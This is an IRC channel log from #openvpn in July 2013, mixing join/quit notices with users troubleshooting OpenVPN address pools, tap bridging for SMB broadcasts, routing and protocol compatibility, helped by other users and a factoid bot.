18:01 -!- groda [~erik@ip24.stallgarden.ac] has quit [Quit: leaving]
18:03 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
18:06 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
18:12 -!- kirin` [telex@gateway/shell/anapnea.net/x-hroobrrywbgslbqf] has quit [Ping timeout: 248 seconds]
18:14 -!- kirin` [telex@gateway/shell/anapnea.net/x-upuwhqqrydnfbhpl] has joined #openvpn
18:25 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 246 seconds]
18:28 -!- nefilim [~Adium@173.247.200.154] has joined #openvpn
18:35 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 252 seconds]
18:38 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
18:43 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Read error: Operation timed out]
18:43 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
18:43 -!- Alina-malina [Alina-mali@37.252.65.16] has quit [Ping timeout: 264 seconds]
18:43 -!- abyss [~abyss@i-free.pl] has quit [Ping timeout: 256 seconds]
18:44 -!- joshie [~josh@joshie.net] has quit [Quit: No Ping reply in 180 seconds.]
18:44 -!- Alina-malina [Alina-mali@37.252.65.16] has joined #openvpn
18:44 -!- abyss [~abyss@i-free.pl] has joined #openvpn
18:44 -!- joshie [~josh@joshie.net] has joined #openvpn
18:50 -!- dimm0k_ is now known as dimm0k
18:50 -!- dimm0k [~dimm0k@pool-98-116-233-190.nycmny.fios.verizon.net] has quit [Changing host]
18:50 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
19:00 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has quit [Ping timeout: 256 seconds]
19:02 -!- raidz is now known as raidz_away
19:41 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
19:45 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 245 seconds]
19:57 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
20:21 -!- nefilim [~Adium@173.247.200.154] has quit [Quit: Leaving.]
20:32 -!- Devastator- is now known as Devastatr
20:32 -!- Devastatr is now known as Devastator
20:39 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has joined #openvpn
21:41 -!- brianw [~brianw@user-118blcb.cable.mindspring.com] has joined #openvpn
22:17 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
22:20 -!- newbie|4 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Ping timeout: 245 seconds]
22:46 -!- itpings [~itpings@89.218.38.200] has quit [Quit: Leaving]
23:32 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 260 seconds]
23:36 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
23:52 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 256 seconds]
23:55 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
23:56 -!- iliv [~iliv@178.137.25.199] has joined #openvpn
23:59 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 256 seconds]
--- Day changed Thu Jul 04 2013
00:00 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
00:18 -!- brianw [~brianw@user-118blcb.cable.mindspring.com] has quit [Quit: leaving]
00:22 -!- brianw [~brianw@user-118blcb.cable.mindspring.com] has joined #openvpn
00:24 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
00:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
00:40 -!- monk [~aknm@196.14.139.96] has joined #openvpn
00:40 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
00:40 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
00:40 -!- brad [~brad@78.129.242.122] has quit [Ping timeout: 240 seconds]
00:42 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
00:49 -!- brad [~brad@78.129.242.122] has joined #openvpn
00:57 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 256 seconds]
00:59 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
01:03 -!- mattock_afk is now known as mattock
01:05 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:10 -!- brianw [~brianw@user-118blcb.cable.mindspring.com] has quit [Quit: leaving]
01:23 -!- hR13 [~hR13@h216n3c1o253.bredband.skanova.com] has joined #openvpn
01:51 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:55 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
02:00 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
02:00 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Read error: Connection reset by peer]
02:01 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
02:10 -!- hR13 [~hR13@h216n3c1o253.bredband.skanova.com] has quit [Ping timeout: 264 seconds]
02:13 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
02:16 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 248 seconds]
02:21 -!- dazo_afk is now known as dazo
02:31 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Quit: Leaving.]
02:35 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection]
02:35 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
02:42 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
02:42 -!- mode/#openvpn [+o vpnHelper] by ChanServ
02:42 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit]
02:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
02:43 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:43 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
02:43 -!- mode/#openvpn [+o vpnHelper] by ChanServ
02:47 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection]
02:48 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
02:48 -!- mode/#openvpn [+o vpnHelper] by ChanServ
02:48 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:52 -!- osa [~s@178.209.52.23] has joined #openvpn
02:52 -!- zeus_ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:55 -!- zeus__ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:55 -!- zeus__ [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
02:56 -!- hR13 [~hR13@194-236-135-219.customer.telia.com] has joined #openvpn
02:58 -!- takamichi2 [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:58 -!- zeus_ [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Leaving]
02:58 -!- takamichi2 [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
02:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
02:59 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:06 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
03:07 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 256 seconds]
03:17 < Nothing4You> hi there, i have a problem connecting to some vpn. i'm on arch x64 with openvpn 2.3.2 and update-resolv-conf script from https://wiki.archlinux.org/index.php/OpenVPN
03:17 <@vpnHelper> Title: OpenVPN - ArchWiki (at wiki.archlinux.org)
03:17 < Nothing4You> with verb 5 i get this error looped: http://nopaste.info/cb9aa5312e.html
03:29 < hR13> Hi, Im having routing problems with windows 7, I dont know what to do, I have added the "route-method exe" "route-delay 2" at the end of both server.ovpn and client.ovpn but still I can only connect but dont access anything any ideas?
03:35 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Quit: leaving]
03:35 -!- zeroXten [~zeroXten@37.139.3.39] has joined #openvpn
03:36 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
03:36 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
03:36 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:49 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
03:53 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
04:00 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
04:00 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Quit: Leaving.]
04:05 < kisom> hR13: Please paste your configs and logs somewhere
04:05 -!- JAVACODER [~JAVACODER@2.190.46.146] has joined #openvpn
04:20 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
04:20 -!- Denial [Denial@90.205.133.229] has joined #openvpn
04:21 < Nothing4You> i'm using a mobile connection btw
04:22 < Nothing4You> ssh and other stuff works fine
04:25 -!- pcdummy_ [~quassel@mx1.page4me.ch] has joined #openvpn
04:26 -!- _patelx [chirayu@voyager.chirayu.net] has joined #openvpn
04:27 -!- piele_ [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
04:27 -!- iliv_ [~iliv@178.137.25.199] has joined #openvpn
04:27 -!- _Dave2_ [~Dave2@freenode/staff/dave2] has joined #openvpn
04:31 -!- Dave2 [~Dave2@freenode/staff/dave2] has quit [Disconnected by services]
04:31 -!- AsadH- [~AsadH@unaffiliated/asadh] has joined #openvpn
04:31 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
04:31 -!- mode/#openvpn [+o mattock_] by ChanServ
04:31 -!- _Dave2_ is now known as Dave2
04:32 -!- Netsplit *.net <-> *.split quits: piele, iliv, patelx, AsadH, pcdummy, @mattock
04:32 -!- AsadH- is now known as AsadH
04:32 -!- mattock_ is now known as mattock
04:32 -!- _patelx is now known as patelx
04:32 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Write error: Connection reset by peer]
04:32 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
04:33 -!- HaxCore [~p3rror@41.250.251.159] has joined #openvpn
04:33 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
04:34 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:36 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
04:37 -!- HaxCore [~p3rror@41.250.251.159] has quit [Ping timeout: 245 seconds]
04:37 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
04:38 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Quit: Leaving.]
04:39 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:40 -!- kplong [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 276 seconds]
04:46 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
05:00 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Quit: Leaving.]
05:19 -!- pa [~pa@unaffiliated/pa] has quit [Quit: Sto andando via]
05:23 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:34 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 246 seconds]
06:03 -!- hR13 [~hR13@194-236-135-219.customer.telia.com] has quit [Ping timeout: 246 seconds]
06:08 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
06:17 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
06:28 -!- greenit [~debian@firewall.mkw.at] has joined #openvpn
06:30 < greenit> hi, i have a problem with openvpn: three of the vpn-clients have a static ip-address and all others have a dynamic one. however, when i restart the openvpn-server, at least one of the dynamic clients get an address which is dedicated to a static client... how can i fix this problem?
06:31 < greenit> there are only 8 clients, so there should be enough addresses for them all
06:31 < sokmar> greenit: define an ifconfig-pool that is disjoint from the static address pool, or try putting the static addresses in ipp.txt
06:32 < greenit> sokmar, i tried to put the static ip-addresses in ipp.txt, but this file is always empty when i restart the server.... do i really have to manually enter all addresses everytime i restart the server?
06:33 < sokmar> no clue, I just used the former solution
06:33 < Nothing4You> hi there, i have a problem connecting to some vpn. i'm on arch x64 with openvpn 2.3.2 and update-resolv-conf script from https://wiki.archlinux.org/index.php/OpenVPN - verb 5 gives this error looped: http://nopaste.info/cb9aa5312e.html - ssh and other stuff work fine, connection is 56k mobile
06:33 <@vpnHelper> Title: OpenVPN - ArchWiki (at wiki.archlinux.org)
06:33 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
06:33 < greenit> sokmar, ok, can you tell me then please how to make such a pool in openvpn? :
06:33 < greenit> :)
06:34 -!- monk [~aknm@196.14.139.96] has joined #openvpn
06:34 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
06:34 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
06:34 < sokmar> see --server in the manual, replace it with directives it expands to, edit the pool directive to your liking
06:35 < greenit> ok, thx
06:38 < greenit> sokmar, oh... as i see it could be that the vpn is configured wrong... the address-pool is 7.7.7.0 255.255.255.0 and the static addresses are 7.7.7.2, 7.7.7.6 and 7.7.7.10.... could that be the problem that they are in the same network?
06:39 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has quit [Quit: Leaving.]
06:39 < sokmar> they're supposed to be in the same network, just give ifconfig-pool a range in that network that isn't used in static assignment
06:39 -!- Masxmasx is now known as Masx
06:41 < greenit> sokmar, ok, thx again
06:43 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has joined #openvpn
06:44 < greenit> sokmar, so... for example if i add "ifconfig-pool 7.7.7.100 7.7.7.251" this would solve my problem?
06:45 < sokmar> yes
06:45 < greenit> good, thx for the help :)
06:47 -!- Masx [~IetsVulga@unaffiliated/masxmasx] has left #openvpn []
06:48 < greenit> erm... sokmar, do i have to delete the command "server 7.7.7.0 255.255.255.0" ?
06:48 < greenit> the log says: Options error: --server already defines an ifconfig-pool, so you can't also specify --ifconfig-pool explicitly
06:49 < sokmar> replace it with what it expands to according to the manual entry
06:50 < sokmar> (there's also the enigmatic nopool, but it's undocumented)
06:58 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has joined #openvpn
06:58 < hyper_ch> hi there, I wonder, what are the opinions of l2tp/ipsec vpns compared to openvpn?
06:59 < hyper_ch> and is there any recommended openvpn router?
07:00 -!- paulio [~papaju1@pas001.connectel-cz.com] has joined #openvpn
07:01 < paulio> Hello it is possible connect OpenVPN with this: http://support.dlink.com/emulators/di804hv/vpn.htm
07:01 < paulio> ?
07:02 < sokmar> hyper_ch: nothing beats the flexibility of a linux server as opposed to some appliance with basic openvpn configuration
07:02 < hyper_ch> I know that
07:05 < sokmar> (that was my answer to the second question :P)
07:05 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
07:07 -!- baf [~none@81.90.250.239] has joined #openvpn
07:07 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
07:09 < baf> hello, I am fighting with tap tunnel. Setup is eth3 - wired lan. eth0 wifi. Wifi is insecure, thus they do not have access to wired lan
07:09 < baf> This should be mitigated by setting up tunnel from wifi to wired lan.
07:10 < baf> My problem is, that after brctl addif br0 eth3 whole network on the router/openvpn server is down
07:10 < baf> why is that?
07:11 < baf> I can repair it by restarting interfaces
07:11 -!- DeathDealer [~Mathias@178-117-96-161.access.telenet.be] has left #openvpn []
07:12 < baf> the wohle thing is letting macos to see samba servers in wired lan
07:13 < sokmar> baf: haven't played with bridging in a while, but if you add an interface to a bridge, doesn't it lose its individual IP config?
07:14 < sokmar> ie. if you're bridging eth3, shouldn't you configure br0 like eth3 used to be configured?
07:14 < paulio> Please, can anyone look at my problem. :)
07:15 < baf> sokmar that's what i am not sure (or I was not expecting). Why it would invalidate whole eth3?
07:17 < sokmar> paulio: I don't see openvpn mentioned anywhere in that web interface
07:17 < sokmar> baf; I just seem to remember that's how it worked
07:21 < baf> sokmar and if that is true, then the change is not worth doing, as reconfiguration would be huge. Is there any way, how to push smb broadcast over tunnel? I have tap setup working with server. All problem started when I tried to use server-bridge config
07:23 < sokmar> not familiar with the problem, but you either need bridging or an application-level proxy, I don't think there's a way around that
07:26 -!- monk [~aknm@196.14.139.96] has joined #openvpn
07:26 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
07:26 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
07:26 < baf> would be surpised if macosx's finder would be avare of such proxy ;-) Anyway thank you.
07:34 < fischli> paulio: d-link router uses ipsec for tunneling - that has nothing to do with openvpn (except the vpn in it's name)
07:34 < fischli> !101
07:34 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
07:36 < paulio> sokmar: fischli: Ok, I have the question. Are in VPN problematic any standard protocol or every solutions use our protocols?
07:36 < fischli> sorry wrong shortcut, do not know the shortcut for incompatibility ... there has been one
07:38 < fischli> !notcompat
07:38 <@vpnHelper> "notcompat" is (#1) IPsec, PPTP, & L2TP are _not_ compatible with OpenVPN. OpenVPN uses SSL whereas PPTP and IPSEC use their own protocols and therefore cannot be compatible. or (#2) OpenVPN connects only to OpenVPN
07:44 < baf> sokmar btw is it possible to add into existing wired lan virtual interface eth3:1 and bridge upon it?
07:47 < sokmar> baf: no clue, if I had to guess, I'd guess not
07:51 < fischli> baf: you are doing weird things on active interfaces ... what is it good for?
07:58 < greenit> well... i have managed that the dynamic don't disturb the static ones (made a separate subnet for them^^). however, i would like that the dynamic clients from 7.7.6.0 can connect to any host of the 7.7.7.0 network, but the 7.7.7.0 clients should not be able to connect to any other static client or a dynamic client... is this possible?
07:58 -!- hR13 [~hR13@c-2ec2f54a-74736162.cust.telenor.se] has joined #openvpn
08:05 <@plaisthos> greenit: that would be a firewall
08:05 < greenit> plaisthos, so i could achieve this e.g. with iptables?
08:09 < baf> fischli: its home server/router with several interfaces and several subnets. One is weakly secured(wifi and wan) thus is crippled with iptables.
08:10 < baf> I want to have possibility to create vpn into existing infrstructure, thus I have to play with existing system
08:11 < baf> fischli basically main reason is to allow smb boradcast travel trough openvpn tunnel
08:13 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
08:14 < fischli> baf: broadcasts will never go (by design) through a router, you have to use a bridge
08:18 < baf> fischli exactly, therefore I need to create bridge on existing server with existing and active interfaces
08:18 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 276 seconds]
08:19 < fischli> baf: no. you have to create a bridge at first and then may add interfaces on demand
08:20 < fischli> baf: you can't migrate an interface into a bridge without loosing connection
08:20 <@plaisthos> greenit: yes
08:22 < baf> fischli that is what I discovered by experimenting. And that is why I am considering to add virtual interfaces to bridge
08:24 < baf> this could leave infrastructure intact, but never done it before
08:28 < fischli> baf: but the interface can't be independent *and* part of a bridge. A virtual interface is just an "alias"
08:31 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has joined #openvpn
08:32 -!- gry [quasselcor@freenode/staff/gry] has joined #openvpn
08:33 -!- gry [quasselcor@freenode/staff/gry] has quit [Client Quit]
08:33 < fischli> baf: I still do not get it why it should be a problem when you create a vpn for your infrastructure
08:33 -!- hR13 [~hR13@c-2ec2f54a-74736162.cust.telenor.se] has quit [Ping timeout: 248 seconds]
08:36 -!- gry [~gry@freenode/staff/gry] has joined #openvpn
08:36 < baf> fischli : it not just an alias. It has its own virtual IP and MAC address and that should be enough. The problem I have is that a lot of configuration is done with ethX names. I suspect it should be migrated to brX name. Or do I miss something?
08:37 < baf> fischli in other words what would be your steps?
08:38 < baf> (eth0 is wifi with static ip and eth3 is wired with static ip)
08:38 -!- gry [~gry@freenode/staff/gry] has left #openvpn []
08:40 -!- hR13 [~hR13@c-2ec2f54a-74736162.cust.telenor.se] has joined #openvpn
08:48 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
08:55 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
08:56 < fischli> baf: no matter what kind of interfaces are active. Once you setup a vpn, you modify the topology of your local infrastructure and such a modification has to be announced to the others.
08:57 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
08:57 < fischli> baf: what kind of traffic (through the tunnel) we are talking about?
08:58 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
08:59 < fischli> baf: could you layout your network, with and without vpn? a small picture would help
09:03 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
09:03 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
09:07 -!- iliv_ [~iliv@178.137.25.199] has quit [Quit: leaving]
09:07 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 246 seconds]
09:11 < baf> fischli WIFI <------->Server/Router<---------->LAN . The main reason is establish openvpn tunnel in WIFI and get samba discovery on vpn clinet
09:11 < baf> which is in LAN
09:12 < baf> WIFI is AP connected to server on eth0
09:12 < baf> LAN is attached to server's eth3
09:13 < baf> LAN is alias for wired network
09:15 < baf> so redrwn it is WIFI(vpnclient)<--------->Server(vpnserver)/Router/Bridge<---------->LAN(target samba host)
09:16 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has left #openvpn ["Konversation terminated!"]
09:17 -!- hR13 [~hR13@c-2ec2f54a-74736162.cust.telenor.se] has quit [Ping timeout: 246 seconds]
09:17 < baf> WIFI is considered unsecure, thus user must create tunner
09:30 < fischli> baf: that's a usual scenario (I'm still missing ip/mask in this layout) !whybridge
09:30 < fischli> !whybridge
09:30 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
09:31 < fischli> you may take a look to the link above
09:34 < baf> eth0 (192.168.1.0/24) eth3(192.168.11.0/24)
09:36 < baf> fischli I need layer2 (smb broadcasts) between vpn nodes created in 192.168.1.0/24 and nodes in 192.168.11.0/24
09:42 -!- greenit [~debian@firewall.mkw.at] has quit [Quit: Verlassend]
09:43 < fischli> baf: broadcast from 192.168.11.0/24 to 192.168.1.0/24 ? These are different networks and they can't cross borders. I assume you have to redesign your network layout to get it going
09:44 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has left #openvpn ["When I leave, come together like butt cheeks."]
09:47 < baf> fischli I expected, that client's end vpn tunnel will get IP from .11.0/24 and transport it through 1.0/24
09:59 < fischli> baf: the router (as it's name says) will transport, but for broadcasts he has to act as a bridge and not as a router. Or do I miss something?
10:07 -!- Nothing4You is now known as N4Y
10:08 -!- N4Y is now known as Nothing4You
10:10 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
10:10 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
10:13 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
10:14 -!- Devastator [~devas@186.214.110.222] has joined #openvpn
10:18 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Quit: IMQ-patched kernel]
10:21 < baf> fischli but that should be the job of vpn - packet will be bridget to tap0 and then transported through tunnel
10:22 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 248 seconds]
10:23 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 240 seconds]
10:25 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
10:32 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
10:32 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
10:33 < fischli> baf: no. the job of a vpn is to connect, site-to-site, peer-to-peer or any combination. If the tunnel endpoint is a router, it will act like a router. If it's a bridge, it will act like a bridge. A tunnel is ... a tunnel
10:35 -!- paulio [~papaju1@pas001.connectel-cz.com] has quit [Remote host closed the connection]
10:38 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
10:41 -!- nefilim1 [~Adium@c-69-181-70-209.hsd1.ca.comcast.net] has joined #openvpn
10:42 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
10:45 < baf> fischli ok, what is the best practice for it?
10:47 -!- nefilim1 [~Adium@c-69-181-70-209.hsd1.ca.comcast.net] has quit [Quit: Leaving.]
10:51 -!- JAVACODER [~JAVACODER@2.190.46.146] has left #openvpn ["JAVACODER"]
10:52 < fischli> baf: vpnclient and samba host have to be in the same subnet and vpnserver has to connect these two segments as bridge. You have to use tap on openvpn
10:52 < fischli> !tunortap
10:52 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
10:52 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
11:01 -!- Assid [~assid@unaffiliated/assid] has joined #openvpn
11:01 < Assid> heya
11:02 < Assid> so i am able to connect to my openvpn server.. and for soem reason.. i am unable to ping /connect  in or out on this
11:02 < Assid> an i cant figure out whats causing this
11:02 < Nothing4You> hi there, i have a problem connecting to some vpn. i'm on arch x64 with openvpn 2.3.2 and update-resolv-conf script from https://wiki.archlinux.org/index.php/OpenVPN - verb 5 gives this error looped: http://nopaste.info/cb9aa5312e.html - ssh and other stuff work fine, connection is 56k/s mobile internet
11:02 <@vpnHelper> Title: OpenVPN - ArchWiki (at wiki.archlinux.org)
11:06 -!- Assid [~assid@unaffiliated/assid] has quit [Client Quit]
11:06 < fischli> baf: I'm not shure if it's possible to turn off "reverse path forwarding" (which prevents broadcasts in routers) in linux. The vpnserver is a linux box I assume.
11:09 -!- hR13 [~hR13@h216n3c1o253.bredband.skanova.com] has joined #openvpn
11:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:15 -!- ScriptFanix [~vincent@Hanaman.riquer.fr] has joined #openvpn
11:16 < EugeneKay> !fail2ban
11:16 <@vpnHelper> "fail2ban" is in linux you can replace fail2ban without the background process with something like: iptables -A INPUT -m tcp -p tcp --dport 22 -m hashlimit --hashlimit-name ssh --hashlimit-upto 5/minute --hashlimit-mode srcip --hashlimit-srcmask 24 -j ACCEPT
11:16 < dimm0k> any idea why i can't ping the client from the server of the client's non-tun0 IP address?
11:17 < dimm0k> trying to ping the client's LAN address results in nothing...  but the tun0 address is fine
11:17 -!- ScriptFanix [~vincent@Hanaman.riquer.fr] has quit [Client Quit]
11:17 -!- ScriptFanix [~vincent@Hanaman.riquer.fr] has joined #openvpn
11:26 < fischli> dimm0k: routing and/or forwarding issue ... even firewall
11:27 < fischli> in short ... could be everything
11:27 < dimm0k> yikes
11:28 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has quit []
11:28 < dimm0k> fischli: any idea how to do the following with no access to the router?
11:28 < dimm0k> Next, you must set up a route on the server-side LAN gateway to route the VPN client subnet (10.8.0.0/24) to the OpenVPN server (this is only necessary if the OpenVPN server and the LAN gateway are different machines).
11:31 < fischli> dimm0k: Heh? do not get it ... it may be too late in the evening for me
11:32 < dimm0k> darnit
11:39 < baf> fischli this means server directive should have ip from 11.0/24?
11:40 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 264 seconds]
11:43 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
11:49 < fischli> baf: the client is 192.168.1.1 and the server is 192.168.11.1 , then the corporate netmask cold be 255.255.240.0 (192.168.0.1 ... 192.168.15.254)
11:53 -!- hR13 [~hR13@h216n3c1o253.bredband.skanova.com] has quit [Ping timeout: 268 seconds]
11:54 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
11:57 -!- hR13 [~hR13@h216n3c1o253.bredband.skanova.com] has joined #openvpn
12:03 -!- hR13 [~hR13@h216n3c1o253.bredband.skanova.com] has quit [Ping timeout: 240 seconds]
12:26 -!- haroldojardimfur [~quassel@177.158.132.142] has joined #openvpn
12:28 -!- JAVACODER [~JAVACODER@2.190.46.146] has joined #openvpn
12:30 < haroldojardimfur> hi guys
12:30 < haroldojardimfur> im now here
12:30 < haroldojardimfur> and i'm having some troubles
12:31 < haroldojardimfur> I would like to pass through a proxy and i could do it using a text file
12:32 < JAVACODER> then?
12:32 < Nothing4You> trying again, i have a problem connecting to some vpn. i'm on arch x64 with openvpn 2.3.2 and update-resolv-conf script from https://wiki.archlinux.org/index.php/OpenVPN - verb 5 gives this error looped: http://nopaste.info/cb9aa5312e.html - ssh and other stuff work fine, connection is 56k/s mobile internet
